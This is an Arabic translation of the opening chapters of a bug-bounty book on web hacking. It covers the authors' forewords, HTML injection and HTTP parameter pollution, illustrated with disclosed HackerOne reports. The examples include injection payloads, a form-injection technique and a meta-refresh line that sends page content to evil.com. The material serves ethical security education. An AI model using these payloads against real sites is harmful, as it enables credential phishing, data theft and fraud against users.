اختراق تطبيقات الويب
اختراق تطبيقات الويب
Peter Yaworski و Yasser Gersy
Buy on Leanpub

مقدمة

أفضل الطرق للتعلم هي الممارسة , هذا المبدأ اللذي ساعد - مايكل برنس وجوبرت البا - فى تعلم الاختراق.

كنا صغار . مثل كل الهاكرز الذي سبقونا , والذي سيأتون بعدنا , كنا طائشين , نخرب كثيرا من اجل التعلم , وفهم الية عمل الاشياء , كنا شغوفين بالعاب الكومبيتر , وفي سن الثانية عشر ارادنا ان نصمم لعبتنا الخاصة , لذلك بدانا بتعلم لغات VBasic,PHP من خلال قراءة الكتب والتطبيق العملي.

من خلال فهمنا لعملية تطوير البرمجيات , ساعدتنا هذه المهارات في اكتشاف اخطاء المبرمجين الاخرين , فتحولنا عن التطوير الى اكتشاف واختراق هذه البرمجيات , منذ ذلك الحين اصبح الاختراق هو شغفنا الاول . قمنا باختراق احدى قنوات التلفزيون ونشرنا تهنئة خاص بالنجاح لزملائنا بالصف الدراسي كنا منبهرين بهذا العمل,لكن لم تسعد المحطة الاذاعية او المدرسة بهذا العمل , وتم عقابنا بقضاء عطلة الصيف في عمليات التنظيف , بعد ذلك ادركنا انه يمكن الاستفادة من هذه المهارات والربح من ذلك , وتوجهنا لانشاء موقع هاكر ون في عام ٢٠١٢ , ارادنا ان نمنح كل شركة في العالم الفرصة لتوظيف الهاكرز بسهولة ودون عناء, وهذه كانت مهمة الموقع الاولى ونجحنا في ذلك .

ما يزيد من اهمية الكتاب انه يركز على تكوين هاكر اخلاقي , سيد فنون الاختراق واكثرها قوة ومهارة , والذي نامل ان يستخدم في طرق شرعية , افضل الهاكرز يدركون تماما كيفية التمييز بين الاصلاح والتدمير ,فالعديد من الناس يمكنهم التدمير بسهولة ومحاولة جني الاموال بسرعه, ولكن تخيل هؤلاء الذين يساعدون في جعل الانترنت اكثر امانا , ويعملون مع شركات عالمية , بالاضافة للحصول على مكافئات وتهنئة من هذه الشركات, موهبتك تمنحك القدرة لتأمين ملايين من الناس والحفاظ على خصوصياتهم , هذا ما نامل في نشره بين الهاكرز .

كلمة شكرا لايمكنها ان تكفي بيتر على وقته ومجهوده في تاليف هذا الكتاب , كنا نأمل ان نجد مثل هذه المصادر في بداية طريقنا , رائعة بيتر هي مصدر ملهم ورائع لهؤلاء المبتدئين في رحلة الاختراق.

!! ونتمنى لهم قراءة رائعة واختراق موفق

كن مسؤلا عن ما تفعله اثناء اختراقك.

مايكل برنس وجوبرت البا مؤسسي موقع هاكر ون

مقدمة

شكرا لك على شراء هذا الكتاب , ونأمل ان تستمتع اثناء قرائتك.

هذا الكتاب هو أول مؤلفاتي, صممته من اجل مساعدتك في بدء رحلتك في الاختراق ,وهو يحتوي على تحليلات لاكثر من ٣٠ ثغرة امنية.

أمل ان ينير هذا الكتاب طريقك , واتمنى ان يكون مرشدك الاول في رحلة الاختراق وكسب الاموال , وتصبح هاكر كبير على وضعه.

كيف تبدأ

في اخر ٢٠١٥ , وجدت كتاب We Are Anonymous: Inside the Hacker World of LulzSec, Anonymous and the Global Cyber Insurgency من تأليف بيتر اولسون , وانتهيت من قرائته في خلال اسبوع , استمتعت كثيرا بطرق وتقنيات هؤلاء المجهولين.

كنت شغوف بمرفة الكثير , لم اكن اريد ان اعرفماذا يفعله هؤلاء الهاكرز أكثر من معرفة ** كيف** يقومون بذلك , لذا استمريت وتابعت القراءة والبحث , وفي كل مرة انتهي من قراءة كتاب ما , تتبقى لدي هذه الاسئلة بدون اجابات :

  • كيف يتعلم هؤلاء كيفية اصطياد الثغرات , واين يجدوها?
  • كيف يبدا الهاكرز في استهداف المواقع الالكترونية?
  • هل الاختراق هو فقط مجرد استخدام للادوات?
  • كيف يمكن ان ابدا في ايجاد مثل هذه الثغرات الامنية?

من اجل ايجاد اجوبة لهذه الاسئلة تركت الابواب مفتوحة اكثر , واستمريت في البحث.

في تلك الايام , اتذكر كنت اتابع احدى دورات تطوير تطبيقات الاندرويد على موقع كورسيرا , لمحت احد اقتراحات الموقع ووجدت دورات مثيرة للاهتمام , بعنوان امن البرمجيات , والامن السيبراني , من حسن حظي اني بدات في شهر فبراير.

بعد عدة محاضرات تعرفت على ثغرات الفيض buffer over flow, وكيفية استغلالها , كنت مهتم اكثير بثغرات حقن قواعد البيانات وكيفية اكتشافها واستغلالها , وكنت على علم بمدى خطورتها , فكنت انظر لهذه الاخطاء من نظر المبرمج , واتذكر دائما ان تلك المتغيرات يجب فلترتها قبل استخدامها للحد من هذه الثغرات.

الان بدات في فهم مايدور في عقل الهاكر , استمريت بالبحث عن معلومات اكثر عن الثغرات , وذات مرة وجدت منتديات البج كراود , لسوء الحظ لم تكن هذه المنتديات نشطة في ذلك الحين , ولكن كان هناك رابط لنشاط فعال على موقع هاكر ون مدون فيه احدى التقارير , تابعت هذا الرابط , وفجاء زاد اندهاشي , كنت اقرا في تفاصيل ثغرة موجوده باحدى الشركات , التي قامت بنشرها لتشجيع الهاكرز, واهم من ذلك ان الشركة دفعت مكافاة مالية لمكتشف الثغرة !

كانت هذه نقطة التحول , اصبحت اكثر هوسا , رايت احدى شركات بلادي شوبيفاي لديها برنامج مكافات خاص بها , تطلعت على البرنامج ووجدت صفحتهم مليئة بتقارير عن الثغرات المكتشفة , لم استطع قراءة كل التقارير , كانت بعض الثغرات المكتشفة عبارة عن ثغرات الحقن عبر الموقع , ثغرات المصادقة المضروبة , ثغرات الطلبات المزورة

اعترف انني كنت اصارع لفهم تفاصيل هذه الثغرات , وبعضها كان صعب الفهم.

كنت اقرا التقارير واذا فهمت محتواه , انتقل للتقرير التالي , وعندما اجد صعوبة في فهم هذا التقرير كنت اتوقف واذهب لجوجل وابحث , اقرا واشاهد حتى اجمع معلومات كافية لفهم الية هذه الثغرات , توقفت عند ثغره في موقع Github , كانت الثغرة افتراضية في منصة RubyOnRails , ثغرة في احد البارامترز , التفاصل ستكون موجوده في قسم ”منطق التطبيقات” هذه الثغرة اكتشفها اجور هاماكو قمت بتتبع حسابات اجور وزيارة مدونته , التي يشرح فيها تفاصيل الثغرات التي اكتشفها.

بدأت بقراة هذه المنشورات , ادركت ان عالم الهاكرز يمكن ان يستفيد من هذه التحليلات المكتوبة بطرق مبسطة , لذلك ادركت انه يمكن التعلم اسرع عن طريق تعليم الاخرن وتبادل المعلومات معهم.

لذلك قمت بتاليف الكتاب , واتمنى ان ينال ثقتكم.

اولى مبيعاتي و٣٠ مثال لثغرات امنية

بداية الطريق كانت بهدف بسيط , وهو ايجاد وتفسير ٣٠ ثغرة بطريقة مبسطة وسهلة الفهم .

اقل مايمكن كسبه من هذا الكتاب, هو تحسين وتطوير مهاراتي في الاختراق , وافضل مايمكن حدوثه فى افضل الاحوال هو بيع مليون نسخه (لوالزهرلعب), وكسب المال ثم التقاعد.

قررت نشر مؤلفتي , ربما يدفع احدهم نظيرا لها , اخترت موقع النشر المرن , الذي تكون معظم منتجاته مدفوعة , والذي يسمح لك بالنشر المستمر , ويتيح للمستخدمين الحصول على جميع التحديثات , قمت بنشر تغريدة شكر لموقع hackerone وموقع shopify على مساهمتهم في نشر تقارير الثغرات المكتشفة , وتعريف العالم بكتابي.

في خلال ساعات كنت قد بعت اول نسخه.

اعجبت بفكرة احد مشتري الكتاب , تفحصت موقع النشر ولم اجد شيئ عنه, بعد ذلك اهتز هاتفي , ووجدت تغريدة من شخص يسمى مايكل برنس المشتري الغامض.

يطلع مين ده ؟?يقول انه معجب بالكتاب ,وان محتوياته قد ابهرته , ويتمنى الاستمرار في العمل عليه, زرت صفحته على موقع تويتر واكتشفت انه احد مؤسسي موقع هاكر ون , لم اكن ادرك ان فريق هاكر ون سيكون سعيد باعتمادي على محتويات موقعهم , حاولت ان اكون ايجابي , مايكل يبدو انه يدعمني لقد اعجبه الكتاب .

بعد ثاني مبيعاتي تلقيت سؤال على موقع Quora كيف يمكن ان اكون صائد ثغرات ناجح?

بدأت في اطلاق خبراتي , وفي سبيل تطوير الكتاب ,اجبت علي السؤال , ولكن وصلتني اجابة من جوبرت ابما , بعد ذلك رسالة من مارتن . نص الرسالة . > مرحبا بيتر , انا شوفت اجابتك على موقع كورا , وعرفت انك هتألف كتاب عن الاختراق الاخلاقي , تحب تعرف اكتر. > > تحياتي, > > مارتن > المدير التنفيذي لشركة HackerOne

ايه اللي بيحصل ده اشياء كثيرة تدور في عقلي , كل هذا الدعم , انا لا اصدق , اعتقدت بعد ذلك ان السبب الوحيد الذي يجعل مارتن يراسلني , هو انه يريد مني ان احرق الكتاب ومحتوياته , الحمد لله ان هذا عير صحيح.

قمت بالرد على مارتن , بتعريفه عن نفسي , وما افعله , باختراق وتعليم الاخرين , اخبرني انه من اكثر المعجبين بالفكره , واخبرني ان موقع هاكر ون مهتم بتطوير الكتاب ودعم الهاكرز , في النهاية قدموا الكثير من المساعده , في الحقيقة لولا هذا الفريق لم يكن الكتاب ليظهر بهذا الشكل.

منذ ذلك الحين , تابعت المراسلة , وكان مارتن يرد جيدا , مايكل وجوبرت كانا دائما المراجعه , وكثيرا ما كانو يقترحوا تعديلات بالاضافة لمساهاماتهم في بعض الاقسام , مالا يمكن نسيانه ان مايكل دفع تكاليف التصميم الاحترافي . في شهر مايو ٢٠١٦ ادم باكوس انضم لفريق هاكرون , وفي اليوم الخامس , قام بقراءة الكتاب , وعرض بعض التعديلات , وفسر مايود توفره في شرح التقارير , وقمت باضافة هذا الجزء في قسم كتابة التقارير.

هدفهم هو دعم المجتمع الاختراق الاخلاقي , واكتشفوا ان هذا الكتاب هو فرصة جيده لتوفير ذلك , لان كل المبتدئين في هذا المجال اهم مايحتاجوه هو الدعم والتشجيع من المجتمع

من الجميل ان ينتشر هذا الكتاب بطريقة درامية , واستهداف قراء من مجالات اخرى.

لمن كتب هذا الكتاب

هذا الكتاب تم تاليفه , مع مراعاة مستوى تفكير المبتدئين , لايهم اذا كانت مطور مواقع او مصمم , لا تبذل اي مجهود اذا كان سنك عشر سنين او فوق السبعين , هذا الكتاب مناسب لجميع الاعمار , بما يحتويه من مراجع سهله لفهم الثغرات , وكيفية اكتشافها , وكتابة تقرير جيد عن اكتشافاتك , وكيفية كسب الاموال , وكتابة تطبيق سهل وبسيط لاستغلال الثغرات.

لم اكتب هذا الكتاب لاستهدف جميع الفئات ,انا قمت بتاليفه لمشاركة المعلومات سواء كانت انجازات مبهره او فشل محرج لاكتساب مهارات جديده ,بتبادل الافكار والخبرات . كما سوف انقل لك انجازاتي الرائعة** بجانب** تجاربي الفاشلة .

الكتاب ليس مصمما لتقراءه من البداية للنهاية , اذا كان هناك جزء اكثر الهاما من اخر , يمكنك البدء من اي نقطة , لان اقسام الكتاب لاتعتمد على بعضها , كما قمت بعمل مراجع لكل الاقسام التي تم شرحها مسبقا , وحاولات ان اربط بينهم , حتى يمكنك الرجوع لصفحات سابقة او التقدم بمرونة ودون وجود صعوبة في الفهم , اريد حقا ان يظل هذا الكتاب هو مرجعك الاول , ويظل مفتوحا اثناء ممارسة اختراقاتك.

كل الثغرات مكتوبة بنفس الطريقة والاسلوب كالتالي : - بداية من شرح تفاصيل الثغره; - ومراجعة امثلة, - الاختتام بالملخص.

ببساطة , كل مثال مكتوب بنفس الشكل, ويحتوي على التالي :

  • مدى صعوبة ايجاد الثغرات
  • الرابط المصاب او المتعلق بالثغرة
  • رابط لتفاصيل الثغرة
  • تاريخ الابلاغ عن الثغرة
  • حجم المكافاة المدفوعة لمكتشف الثغرة
  • وصف بسيط وسهل الفهم للثغرة
  • تمارين لتنشيط مهاراتك

من الجيد ان تكون على معرفة بلغات HTML CSS JavaScript و ربما قليل من البرمجة , مع الاخذ فى الاعتبار انها ليست متطلبات حتمية, او ان تكون لديك معرفة بطريقة كتابة صفحات الويب من الصفر , ولكن كل ماهو مطلوب ان تكون على دراية وفهم بتركيب صفحات الويب وكيف تتحكم css وفي مظهر الصفحات , ومايمكن ان تفعله باستخادم الجافاسكربت , سيساعدك ذلك في فهم الية واكتشاف الثغرات في تطبيقات الويب . المعرفة بالبرمجة مفيد جدا اذا كنت تبحث عن ثغرات منطقية في تطبيق ما , او ان التنبأ بما يحدث من خلال التفكير من منظور المطور او مبرمج الموقع.

لذلك انا انصح بشدة تفحص دورات موقع يوداسيتي المجانية بعنوان Intro to HTML ,css and JavaScript Basics,قد قمت بارفاق رابط لهذه الدورة في قسم المراجع , اذا كنت جديد على هذا الموقع , فتلك مهمتك في اكتشافه , فهو موقع رائع وشهير وله شراكات مع منظمات كبيرة مثل جوجل وفيسلوك , وسالسفورس وايه تي اند تي , واخريات.

نظرة عامة على الفصول

الفصل الثاني مقدمة سريعه تشرح الية عمل الانترنت , وبروتوكول HTTP وانواع الميثودس.

الفصل الثالث تغطية لثغرات حقن HTML , وفيها ستتعلم كيفية حقن اكواد HTML داخل صفحات الويب , واحد النقط المهمه هو كيفية تشفير الاكواد لخداع تطبيقات الويب , لعرضها داخل صفحة الويب ,وتخطي الفلاتر.

الفصل الرابع تغطية لثغرات HPP ستتعلم كيفية ايجاد انظمة مصابة بهذه الثغرات , والتي تقبل مدخلات بدون فلترة وتمررها لاطراف ثالثة .

الفصل الخامس تغطية لثغرات حقن الاسطر CRLF, ونظره على امثلة لهذه الثغرات , وكيف يمكنك كسر الهيدرز وتغيير محتوى الصفحات.

الفصل السادس تغطية لثغرات الطلبات المزورة , وشرح امثلة توضح كيف يمكن لمهاجم ان يجبر المستخدم على تنفيذ طلب في موقع مسجل دخوله عليه , دون علمه.

الفصل السابع تغطية للثغرات المنطقية بالتطبيقات , في هذا الفصل سيتم شرح اصطياد الثغرات , والتي اعتبرها ثغرات برمجية , لقد وجدت الكثير من هذه الثغرات , هذا النوع هو اسهل الانواع التي يمكن اكتشفاها من قبل المبتدئين.

الفصل الثامن تغطية لثغرات حقن اكواد عبر الموقع ويرمز لها بالاختصار XSS, بالاضافة لطرق عديدة للاستغلال , هذه الثغرات تمثل فرص كبيرة , ولا يمكن جمعها في كتاب واحد , هناك الالاف من الامثلة , يمكن ان اذكرها , ولكن سنركز على اكثره اهتماما .

الفصل التاسع تغطية لثغرات حقن قواعد البيانات , والتي تمكن المخترق من التلاعب بقواعد البيانات وحذف او تعديل او استخراج البيانات من خلالها.

الفصل العاشر يغطي هذا الفصل ثغرات اعادة التوجيه , وهي ثغرة تمكن المهاجم من توجيه المستخدم لموقع اخر.

الفصل الحادي عشر يغطي هذا الفصل ثغرات الاستيلاء على الدومينات الفرعية.

الفصل الثاني عشر تغطية لثغراتXXE , التي تسبب في قراءة الملفات السرية , وتنفيذ اكواد برمجية على السرفر المصاب.

الفصل الثالث عشر يغطي هذا الفصل ثغرات تنفيذ الاكواد ,وقدرة المهاجم على التحكم بالسرفر المصاب.

الفصل الرابع عشر حقن القوالب , بالبحث عن امثلة تنطبق علي السيرفر والعميل .

الفصل الخامس عشر تغطية للطلبات المزورة من قبل السيرفر , والتي تمكن المهاجم من استخدام السرفر لعمل طلبات اخرى.

الفصل السابع عشر تغطية الثغرات المتعلقة بالذاكرة , هذه الانواع من الثغرات مرتبطة بلغات البرمجة الادنى مستوى, ايجاد هذه الثغرات يعد بمثابة كنز.

الفصل السابع عشر يشرح هذا الفصل , كيف تبدا في هذا المجال , ويساعدك في البحث عن الثغرات خطوة بخطوة.

الفصل الثامن عشر ** يعد هذا الفصل من اهم فصول الكتاب , لما يوفره من نصايح في كتابة التقارير , لان عمليات الاختراق لا تساوي شيئ اذا كان التقرير مكتوب بطريقة سيئة , المكافئات الكبيرة لا تعطى بسبب خطورة الثغرات فقط , بل بسبب التقارير المكتوبة جيدا , انتبه بشده لذلك هاكر ون ينصحون بالتدقيق في كتابة التقاري , **ركز جيدا على هذا الفصل .

الفصل التاسع عشر هذا الفصل تم بمساهمه كبيرة من طرف مايكل برنس , ويشرح كثير من الادوات المهمه التي ستسهل عملية الاختراق , بالرغم من كل هذه الادوات , لا شيئ اهم من التفكير الابداعي وقوة الملاحظة.

الفصل العشرون هذه الفصل يساعدك في اتخاذ خطوات متقدمة , سوف نأخذك للتعرف على مصادر رائعة لتستمر عملية التعلم اسهامات كبيرة لمايكل برنس كتر الف خيره.

الفصل الحادي والعشرون ملخص شامل للكتاب , ومبادئ اساسية يجب ان تتعلمها اثناء الاختراق , بينما تم مناقشتهم مسبقا ولكن ليس كلهم , لذلك لزم التنويه والتركيز عليهم في هذا الفصل.

شكر وتنبيهr

قبل ان تخطو في عالم الاختراق الرائع , يجب ان أوضح جزء مهماً , اثناء تعلمي , وقرائة التقارير المنشورة للثغرات , ورؤية كمية المكافأت المدفوعة والتي سوف تدفع لاحقا, ظننت انها طريقة رائعة وسريعة لتصبح غني .

لكنها ليست كذلك.

يمكن ان يكون الاختراق له مكافات وارباح عظيمة , ولكن من الصعب ان تستوعب وتستكشف مدى الفشل , الذي ستتعرض له في طريقك , وتحاول اخفاءه باستثناء ما افعله هنا من مشاركتي لقصصي الفاشلة والمحرجة , لذلك سوف تسمع الكثير من قصص النجاح لاشخاص كثر , ربما تبني احلام غير واقعية , وربما يخبئ لك القدر نجاح باهر , ولكن اذا تعرضت لفشل كما هو معتاد لا تيأس , كلنا تعرضنا لذلك , سوف تصبح أسهل فيما بعد , وستجد سعادة بالغة عند اصلاح اول ثغرة لك, فقط استمر ولا تيأس.

لذلك التمس منك ان تراسلني على تويتر , او الاميل الخاص بي Twitter: @yaworsk, peter@torontowebsitedeveloper.com , ولا تتردد في اخباري بارائك واقتراحاتك , واعلمني كيف تسير الامور معك , اود بشدة ان اسمع منك , ربما يكون اصطياد الثغرة عمل معزول عن العالم في الواقع, ولكنه من الرائع ان تشاركه مع الاخرين , وربما تكون اكتشفاتك احد الاضافات القادمة للكتاب .

بالتوفيق ان شاء الله .

HTML حقن

الوصف

تعرف ايضا هذه الثغرات بما يسمى بالتشويه الوهمي , هذه الهجمات تتم عندما يسمح احد المواقع لمستخدم سيئ بحقن اكواد(HTML) داخل صفحات الموقع , بدون تعديل او فلترة لمدخلات المستخدم ,من ناحية اخرى يمكن تعريف هذه الثغرات بانها تحدث عندما يقوم التطبيق باخذ مدخلات المستخدم ووضعها في الصفحات مباشرة, يختلف هذا النوع من الثغرات عن ثغرات حقن الاسركبتات مثل JavaScript VBScript.

كون HTML اللغه الاولى المسئولة عن بنية صفحات الويب , لو تمكن مهاجم ما من حقن اكواد HTML بموقع ما, يمكن ان يغير شكل الصفحه تماما , وربما ايضا يبتكر صفحات وهميه لخداع المستخدمين والحصول على معلومات منهم ,بطريقة اخرى لو تمكنت من حقن هذا النوع من الاكواد , يمكن ايضا ان تضع وسم فورم <form> داخل الصفحه , وتطلب من المستخدم ادخال المعرف وكلمة المرور الخاص بهم ,مما يتسبب في سرقة هذه البيانات.

امثلة

1. Coinbase تعليقات

الصعوبة: منخفضة

الرابط: coinbase.com/apps

رابط الابلاغ: https://hackerone.com/reports/104543

تاريخ الابلاغ: ديسمبر 10, 2015

المكافأة: $200

الوصف:

لاحظ مكتشف الثغرة ان التطبيق يقوم بفك ترميز الحروف اثناء عرض النصوص و( الحروف المحجوزة /&? استنادا لموقع ويكيبديا اما باقي الحروف تعتبر حروف عادي).

لذلك لو افترضنا حرف تم تشفيره بطريقة URl-Encoding , معنى ذلك ان الحرف تم تحويله لما يقابله من الاسكي وبعد ذلك وضع علامة % امامه , مثال علامة / تصبح %2F , وعلامة & تصبح %26 , يعتبر ASCII اشهر انواع الترميز العالمية .

نرجع للمثال , لو ادخل المهاجم كود كالتالي :

1 <h1>This is a test</h1>

يقوم موقع كوينبيز بعرضه كمجرد نص عادي , لذلك يجب ان يقوم المهاجم بتشفير النص ( بطريقة ترميز الروابطURL-Encoding) كالتالي:

1 %3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74%3C%2F%68%31%3E

سيقوم التطبيق باستقبال النص وفك تشفيره ليعود كما كان لوضعه الطبيعي :

This is a test

من خلال هذا السيناريو قام المكتشف باثبات قدرته على حقن HTML بما في ذلك حقن فورم <Form> لسرقة بيانات المستخدمين , فيقوم التطبيق المصاب بعرض الفورم الخاصه بالمهاجم للمستخدمين فتتم سرقه بياناتهم (بافتراض انهم ادخلوها).

2. HackerOne Unintended HTML Inclusion

الصعوبة: متوسطة

الرابط: hackerone.com

رابط الابلاغ: https://hackerone.com/reports/112935

تاريخ الابلاغ: يناير 26, 2016

المكافأة: $500

الوصف:

بعد قراءة ثغرةْXSS الموجودة بموقع ياهو والمرفقة في (الفصل السابع مثال رقم اربعه) , اصبحت مهووس اكثر بثغرات الHTML , مما دفعني لفحص محرر ماركدون المرفق في موقع هاكرون , ادخال نص مثل ismap= “yyy=xxx” and “‘test” داحل وسم صورة . لاحظت ان المحرر سيسمح لعلامة التنصيص المفردة لو تم ادخال علامة مزدوجة تسمى هذه - بشنق علامة التنصيص , حيث انه توضع بين علامتين اخرتين .

في وقت لاحق , لم افهم الانطباعات حول تضمين هذه الحروف . انا اعلم تماما اذا قمت بحقن علامه مفردة اخرى ف مكان ما , سيقوم المتصفح بعرض ما بينهما كعنصر واحد . مثال للتوضيح:

1 <h1>This is a test</h1><p class="some class">some content</p>'

لو قمت بحقن تاح ميتا كما يلي:

1 <meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

سيقوم المتصفح بعرض كل الحروف الموجودة بين علامتي التنصيص المفردة . هذ السيناريو تم شرحه في هذا التقرير #110578 by intidc (https://hackerone.com/intidc).

نسبة لموقع هاكر ون , فهم يعتمدون على تطبيق ما يسمى RedCarpet , (وهو عبارة عن مكتبة بلغة روبي لمعالجة عمليات الماركدون ) من اجل فلترة اكواد HTML , بعد ذلك تمرر مباشرة لصفحات الويب , عن طريق دالة تسمى setinnerHTML ,موجودة داخل مكتبة REACT وهي مكتبة جافا سكربت , تستخدم لتحديث صفحات الويب ديناميكيا دون اعادة تحميل الصفحة.

DOM هو عبارة عن برنامج يتعامل مع HTMLm,XML , وهو برنامج متعدد المنصات , يمكنه التعامل مع جميع لغات التوصيف(HTML ,XHTML XML ) والتعديل على عناصرها.

في هذا المثال موقع هاكر ون , لم يقوموا بفلترة الاكواد الناتجة , التي قد تستغل وتسبب اضرار , بعد قراءة التقرير . قمت بفحص الموقع باضافة :

1 [test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"\
2 ")

والتي يتم ترجمتها الى:

1 <a title="'test" ismap="alert xss" yyy="test" &#39; ref="http://www.toronotwebsi\
2 tedeveloper.com">test</a>

كما ترى , كنت قادر على حقن بعض اكواد HTML , داخل <a> تاج . ونتيجة لذلك قام الموقع باصلاح الثغرة ومحاولة تخطي علامة التنصيص المفردة مرة اخرى.

3. Within Security تزوير المحتوى

الصعوبة: منخفضة

الرابط: withinsecurity.com/wp-login.php

رابط الابلاغ: https://hackerone.com/reports/111094

تاريخ الابلاغ: يناير 16, 2015

المكافأة: $250

الوصف:

يعد تزوير المحتوى نوع مختلف من الثغرات يختلف تماما عن ثغرات حقن HTML , قمت بادراج هذا النوع في كتابي لانه يوصف طبيعة وما يحدث عندما يخدع المهاجم الموقع لعرض محتوى غير مرغوب فيه.

موقع ويثن سيكيورتي هو موقع مبني على ورد برس , ويكون صفحة دخول التحكم الافتراضية هي withinsecurity.com/wp-login.php (بعد ذلك تم دمج الموقع مع هاكر ون) .لاحظ احد الهاكرز اثناء عملية تسجيل الدخول , انه اذا حدث خطا , يقوم الموقع بعرض رساله تحتوي على التالي access_denied , هذه الرساله عبارة عن بارامتر تم ارساله في الرابط التالي:

1 https://withinsecurity.com/wp-login.php?error=access_denied

بمجرد ان, لاحظ الهاكر قيمة البارمتر موجودة في الصفحة, اكتشف انها ثغرة وقام بتغيير قيمة البارامتر للتاكد , هذا هو المثال المستخدم :

1 https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hacked
WithinSecurity Content Spoofing
WithinSecurity Content Spoofing

سبب اكتشاف الثغرة , هو ملاحظة الهاكر للقيمة المردودة داخل الصفحة . افترض ان الهاكر لاحظ كلمة access_denied في الرابط ووجدها معروضة في الصفحة ايضا .وابسط مايمكن عمله هنا هو تغيير قيمة البامرامتر , فوجد القيمة مردودة بالفعل في الصفحة مرة اخرى , بذلك اكتشف ان الموقع مصاب والثغرة موجودة بالتأكيد , بعد ذلك قام بالابلاغ.

الملخص

تعتبر ثغرات حقن اكواد HTML بمثابة نقاط ضعف للمواقع ومطوريها لانها تمكن المهاجمين من خداع المستخدمين لسرقة بياناتهم الحساسة , او زيارة مواقع ضارة. يسمى هذا النوع من الهجوم بالتصيد.

اصطياد هذه الثغرات لايكون دائما بارسال HTML , ولكن بمحاولة اكتشاف كيف يعالج التطبيق مدخلاتك , مثل الحروف المشفرة بترميز الروابطURL-Encoded .ثغرات تزوير المحتوى هي ثغرات مشابهه لحقن اكوادHTML , ثغرات حقن الاكواد تمكنك من تغيير شكل الصفحة ومتحوياتها تماما بما في ذلك تنفيذ الاسكربتات, بينما ثغرات حقن المحتوى تمكنك من تغيير المحتوى فقط , لذلك يجب على الهاكر ملاحظة مدخلات المستخدم التي يعرضها التطبيق , افضل الطرق لاصطياد هذه الثغرات هو التلاعب بقيم البامترات الموجودة بالروابط.

HTTP Parameter Pollution

الوصف

تحدث هذه الثغرات عندما يستقبل موقع ما مدخلات المستخدم , ويقوم باستخدامها في عمل طلب لنظام اخر , بدون اي فلترة للمدخلات , تحدث هذه الثغرات من جانب السرفر او على متصفح العميل.

توفر كل من مواقع Stackexchange Silverlightfox امثلة على هذا النوع من الهجمات , افترض لدينا الموقع التالي https://www.example.com/transferMoney.php والذي يمكن الوصول له , عبر طلب بوست , والذي ياخذ المعاملات التالية:

amount=1000&fromAccount=12345

عندما يقوم الموقع او التطبيق بمعالجة هذا الطلب , في الاول يستلم القيم من المستخدم , بعد ذلك يتوجه بعمل طلب على نظام دفع موجود في مكان اخر فلنسميه بالنظام الثالث , وينفذ عملية التحويل عبر الرابط التالي.

رابط نظام الدفع الذي يستخدمه السيرفر: https://backend.example/doTransfer.php

البارمترات المستخدمه في عملية الدفع من ناحية السيرفر toAccount=9876&amount=1000&fromAccount=12345

الان نفترض ان النظام الثاني , لديه ثلاث بارمترات, فليكن البارامتر الاول هو كمية المال الذي سيتم تحويله , والبارامتر الثاني هو حساب المستخدم الذي سيقوم بتحويل المال منه , البارامتر الثالث هو حساب الشركة الذي سيستقبل التحويل:

amount=1000&fromAccount=12345&toAccount=99999

اذا كان الموقع مصاب بهذا النوع من الثغرات اذا يمكن للمهاجم , اضافة معامل جديد رابع ويكون بنفس اسم البارامتر الثالث فيصبح الرابط كالتالي:

amount=1000&fromAccount=12345&toAccount=9876&toAccount=99999

Iفي هذه الحالة البارامتر الاخير الذي قام باضافته المهاجم , سيتم احتسابه بدلا عن البارامتر الثالث , بسبب التقنية المستخدم والتي تاخذ اخر قيمة للبارامتر وتتجاهل القيم السابقة . وتتمم عملية التحويل لحساب المهاجم الذي هو ٩٩٩٩ بدلا من حساب الشركة ٩٨٧٦ .

في الناحية الاخرى , هجمات HPP (الموجودة في ناحية العميل ), تتكون من حقن بارامترات اضافية في نهاية الرابط , مثال من موقع owasp افترض ان لدينا هذا الكود:

1 <? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>
2 <a href="/page.php?action=view&par='.<?=$val?>.'">View Me!</a>

كود بسيط , يستقبل قيمة من بارامتر اسمه par بعد ذلك يتاكد انه كود نظيف ,غير محقون باي اكواد ثم يقوم بتكوين رابط وعرضه داخل الصفحة , لو افترضنا ان الهاكر وضع القيم التالية:

http://host/page.php?par=123%26action=edit

يكون الرابط النهائي :

<a href="/page.php?action=view&par=123&amp;action=edit">View Me!</a>

ربما يتسبب ذلك , في تصريح التطبيق للمستخدم بالتعديل بدلا من العرض استنادا لقيمة بارامتر يسمى action.

تعتمد ثغراتHPP بنوعيهها اعتماد كامل على التكنولوجيا المستخدمة من جانب السرفر , وكيفية معالجتها للمدخلات القادمة , لنأخذ مثال اذا كان لدينا الرابط التالي example.com?id=2&topic=2&id=5 تقوم لغة البرمجة PHP اذا كانت منصبة على سيرفر الاباتشي , باستخدام اخر قيمة مكررة للبارامتر الواحد بينما تقوم Tomcat/Apache باستخدام اول قيمة للبارامتر في حين تقوم لغة ASP/IIS node.js ,, بتجميع معظم القيم ووضعها في مصفوفة بنفس اسم البارامتر , لذلك ايجاد الثغرات في هذه الحالة يتطلب منك معرفة بكيفية معالجة البارمترات من قبل الموقع.

أمثلة

1. HackerOne Social Sharing Buttons

الصعوبة: منخفضة

الرابط: https://hackerone.com/blog/introducing-signal-and-impact

رابط الابلاغ: https://hackerone.com/reports/105953

تاريخ الابلاغ: December 18, 2015

المكافئة: $500

الوصف: يقوم موقع هاكر ون , بتضمين روابط لمشاركة المحتوى على مواقع التواصل مثل فيسبوك وتويتر , هذه الروابط تحتوى على بارمترات معينة لكل موقع.

اكتشف احد الهاكرز ثغرة تمكنه من اضافة بارمتر اخر للرابط ـ(وربما يكون البارمتر عبارة عن رابط لموقع اخر), وعند معالجة الصفحة سيقوم موقع هاكر ون باضافة رابط الموقع داخل محتوى الصفحة مما يوثر في نشر رابط المواقع الغير مرغوب فيها على صفحات المستخدمين بمواقع التواصل عند الضغط على ازرار المشاركة

المثال المستخدم موجود في الصفحة التالي:

https://hackerone.com/blog/introducing-signal

بعد الحقن

https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov

لاحظ البارامتر الاضافي . لو قام احد زوار موقع هاكر ون بالدخول على رابط يحتوى على هذا البارامتر , بعد ذلك اراد مشاركة الصفحة عن طريق الضغط على زرار التفاعل بموقع التواصل, سيكون الرابط كالتالي :

https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov

